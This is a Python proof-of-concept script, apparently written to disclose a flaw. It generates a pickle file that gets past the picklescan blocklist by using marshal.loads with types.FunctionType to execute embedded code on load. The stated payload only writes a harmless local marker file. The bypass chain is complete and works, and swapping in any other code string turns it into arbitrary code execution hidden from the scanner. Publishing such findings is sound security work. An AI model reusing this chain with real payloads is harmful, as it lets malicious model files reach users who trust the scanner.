#!/usr/bin/env python3 """ PoC generator - picklescan blocklist evasion (marshal.loads + types.FunctionType). Payload is DELIBERATELY HARMLESS: it writes a local file 'cyfra_marker' containing 'EXEC_OK'. It performs no network access, no deletion, and nothing outside the CWD. """ import marshal PAYLOAD = "open('cyfra_marker','w').write('EXEC_OK')" def build(path="chain.pkl"): code = compile(PAYLOAD, "", "exec") mc = marshal.dumps(code) p = b"\x80\x02" p += b"ctypes\nFunctionType\n" p += b"(cmarshal\nloads\n(C" + len(mc).to_bytes(1, "little") + mc + b"tR" p += b"}tR" p += b")R." open(path, "wb").write(p) return len(p) if __name__ == "__main__": n = build() print(f"wrote chain.pkl ({n} bytes)")